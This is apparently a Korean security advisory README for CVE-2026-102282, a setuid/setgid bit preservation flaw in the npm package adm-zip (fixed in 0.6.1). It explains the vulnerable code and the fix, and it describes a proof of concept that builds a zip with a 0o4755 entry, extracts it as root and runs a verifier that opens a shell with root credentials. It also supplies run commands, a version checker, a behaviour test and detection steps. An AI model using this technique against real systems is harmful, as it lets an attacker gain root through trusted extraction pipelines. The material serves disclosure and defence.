
CVE-2026-102282: 아카이브 추출 중 SUID/SGID 보존을 통한 adm-zip LPE (0.6.1에서 수정됨)
npm 패키지 adm-zip의 잘못된 권한 할당. keepOriginalPermission이 활성화된 상태에서 추출 시 신뢰할 수 없는 zip의 setuid, setgid, sticky 비트를 유지할 수 있어, 공격자가 제공한 아카이브로부터 root 소유의 setuid 실행 파일을 디스크에 심을 수 있다: 로컬 권한 상승.
| 패키지 | adm-zip (npm) |
| 생태계 | Node.js |
| CVE | CVE-2026-102282 |
| 권고 | GHSA-j5f4-cc29-5x44 |
| CWE | CWE-732 중요 리소스에 대한 잘못된 권한 할당 |
| CVSS v3.1 | 7.1 High — CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| 영향받는 버전 | < 0.6.1 (마지막으로 알려진 영향 버전: <= 0.6.0) |
| 수정 버전 | 0.6.1 (2026년 9월 11일) |
| 공개일 | 유지보수자 권고 2026년 9월 11일; GitHub Advisory Database 2026년 9월 29일 |
이 저장소에는 분석 문서, 의존성 버전 검사기, 안전한 동작 테스트, 그리고 자신의 자격 증명 컨텍스트만 출력하는 무해한 검증 바이너리를 기반으로 한 자체 완결형 개념 증명(proof of concept)이 포함되어 있다.
0.6.1 이전의 모든 릴리스가 영향을 받으며, 0.6.0도 포함된다.
| 범위 | 상태 |
|---|---|
>= 0 및 < 0.6.1 | 영향받음 |
<= 0.6.0 | 마지막으로 알려진 영향 버전 |
>= 0.6.1 | 수정됨 |
이 버그는 다음 조건이 모두 참일 때만 도달할 수 있다:
extractAllTo(), extractAllToAsync(), 또는 extractEntryTo()에 keepOriginalPermission=true를 전달한다.기본 추출은 플래그가 꺼져 있어 영향을 받지 않는다. 비권한 사용자로 추출하면 여전히 모드 비트가 적용될 수 있지만, 결과 파일은 동일한 사용자가 소유하므로 권한 경계를 넘지 않는다.
Unix 모드 비트는 zip 항목의 외부 파일 속성의 상위 16비트에 위치한다. adm-zip은 이 비트들을 추출된 경로에 복사한다.
| 위치 | 역할 |
|---|---|
headers/entryHeader.js — fileAttr | 외부 속성에서 Unix 모드를 읽는다 |
adm-zip.js — extractAllTo, extractAllToAsync, extractEntryTo | keepOriginalPermission이 true일 때 fileAttr을 사용한다 |
util/utils.js — 파일 쓰기 헬퍼 내부의 chmodSync | 방금 생성된 경로에 해당 모드를 적용한다 |
adm-zip.js 디렉터리 추출 | 추출된 디렉터리에 동일한 모드를 적용한다 |
0.6.0 및 그 이전 버전에서 fileAttr은 시프트된 속성을 0xfff (0o7777)로 마스킹한다. 이 마스크는 일반적인 rwx 비트와 함께 세 개의 특수 비트를 유지하며, 쓰기 경로에서 chmod 전에 0o7000을 지우는 것이 없다:
// headers/entryHeader.js (<= 0.6.0)
get fileAttr() {
return (_attr || 0) >> 16 & 0xfff;
}
0o4000)0o2000)0o1000)추출은 아카이브가 제어하는 모드를 파일 시스템에 그대로 전달한다:
// adm-zip.js
const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;
filetools.writeFileTo(entryName, content, overwrite, fileAttr);
// util/utils.js
self.fs.chmodSync(path, attr || 0o666);
0.6.x 호출 시그니처에 주목하라: extractAllTo(targetPath, overwrite, keepOriginalPermission)는 세 번째 인수로 리터럴 boolean을 받는다. { keepOriginalPermission: true }와 같은 옵션 객체를 전달하면 조용히 false로 강제 변환되어, 테스트에서 취약점을 입증하는 대신 가려버린다. 이 저장소의 두 PoC 스크립트는 true를 직접 전달한다.
수정은 커밋 6a63c339 (v0.6.1)이다. 이제 fileAttr은 9개의 rwx 비트만 유지한다:
get fileAttr() {
return (_attr || 0) >> 16 & 0o777;
}
keepOriginalPermission=true이면 추출은 fileAttr을 통해 해당 모드를 읽고 chmod에 전달한다.0o7777이므로 setuid, setgid, sticky가 살아남는다.chmod가 root로 실행되면 새 파일은 root 소유가 되고 setuid를 가질 수 있다. 이후 덜 권한 있는 사용자가 실행하면 파일 소유자의 코드를 root로 실행한다.플래그를 기본값으로 두면 추출은 아카이브 모드를 적용하지 않으며, 특수 비트도 기록되지 않는다.
모든 것은 poc/ 아래에 있다. 번들된 페이로드는 verify.c로, 실제 및 유효 uid/gid를 출력하고 기본 모드에서 유효 자격 증명으로 셸을 여는 무해한 프로그램이다. 지속, 은닉, 또는 자격 증명 컨텍스트를 입증하는 것 이상의 어떤 것도 하지 않는다.
| 파일 | 목적 |
|---|---|
poc/verify.c | 무해한 setuid 검증 페이로드 |
poc/build-archive.js | 모드 0o4755를 가진 항목으로 파일을 zip에 패킹한다 |
poc/extract.js | 영향받는 앱이 그러하듯 keepOriginalPermission=true로 아카이브를 추출한다 |
poc/run-demo.sh | 엔드투엔드 실행: 빌드, root로 추출, 호출한 사용자로 실행 |
git clone <this repo> && cd CVE-2026-102282
npm install [email protected] # the version under test
sudo apt install gcc # if needed
./poc/run-demo.sh # uses /var/tmp/cve-2026-102282-demo
./poc/run-demo.sh /path/to/out # or a custom output directory
0.6.0에 대한 예상 출력:
== 3. extract as root with keepOriginalPermission ==
adm-zip version: 0.6.0
extracted /var/tmp/cve-2026-102282-demo/exploit.zip into /var/tmp/cve-2026-102282-demo/extracted
== 4. result on disk ==
4755 -rwsr-xr-x root:root
== 5. run as the unprivileged user (user) ==
uid=1000(user) ...
[*] real uid=1000 gid=1000
[*] eff. uid=0 gid=0
[+] SUID active: effective uid 0 differs from real uid 1000
0.6.1에 대한 예상 출력:
== 4. result on disk ==
755 -rwxr-xr-x root:root
== 5. run as the unprivileged user (user) ==
uid=1000(user) ...
[*] real uid=1000 gid=1000
[*] eff. uid=1000 gid=1000
[-] effective and real ids match: no SUID context
데모의 주의사항:
nosuid로 마운트되지 않은 파일 시스템에 있어야 한다; 스크립트는 해당 마운트 옵션을 감지하면 경고한다.sudo를 통해 실행하라).scripts/behavior-test.js는 설치된 adm-zip 복사본을 root 없이, 페이로드 없이 직접 검증한다: 0o4755를 가진 인메모리 zip 항목을 만들고, keepOriginalPermission=true로 추출한 뒤, setuid 비트가 살아남았는지 확인한다.
npm install [email protected] && node scripts/behavior-test.js # -> exit 1, VULNERABLE
npm install [email protected] && node scripts/behavior-test.js # -> exit 0, not vulnerable
keepOriginalPermission=true로 신뢰할 수 없는 zip을 root로 추출하는 애플리케이션 및 파이프라인에 대한 로컬 권한 상승.
이 조합은 Docker 이미지 빌드(기본적으로 root), CI 작업, 그리고 의도적으로 권한을 보존하는 설치 또는 배포 단계에서 나타난다. 파일은 모드 보존 복사(cp -a, rsync)를 통해 빌드 밖으로 나갈 수 있고, 나중에 런타임 사용자가 실행할 수 있다.
공개된 CVSS 벡터에서 호스트의 기밀성과 무결성 모두 높음이다. 가용성은 점수에 포함되지 않는다. 공격은 로컬이다: 공격자는 권한 있는 프로세스가 zip을 추출하게 하고, 그 결과를 낮은 권한으로 실행하게 하면 된다.
adm-zip을 0.6.1 이상으로 업그레이드하라.
npm install adm-zip@^0.6.1
전이적 의존성을 포함하여 해결된 복사본을 확인하라:
npm ls adm-zip
node scripts/check-version.js .
모든 복사본이 업그레이드될 때까지:
keepOriginalPermission=true로 신뢰할 수 없는 아카이브를 추출하지 마라.npm audit, npm ls adm-zip, 또는 이 저장소의 검사기(아래)가 프로젝트나 lockfile에서 취약한 복사본을 식별한다.scripts/behavior-test.js는 주어진 환경이 여전히 취약한 추출 동작을 가지고 있는지 답한다.find /path/extracted -type f -perm /7000. 취약한 버전을 통해 신뢰할 수 없는 아카이브에서 나온 추출 트리에서 발견된 모든 항목은 적대적인 것으로 취급해야 한다.프로젝트, adm-zip 설치, 또는 패키지 자체의 package.json을 확인하라:
node scripts/check-version.js /path/to/project
node scripts/check-version.js /path/to/project/node_modules/adm-zip/package.json
node scripts/check-version.js --self-test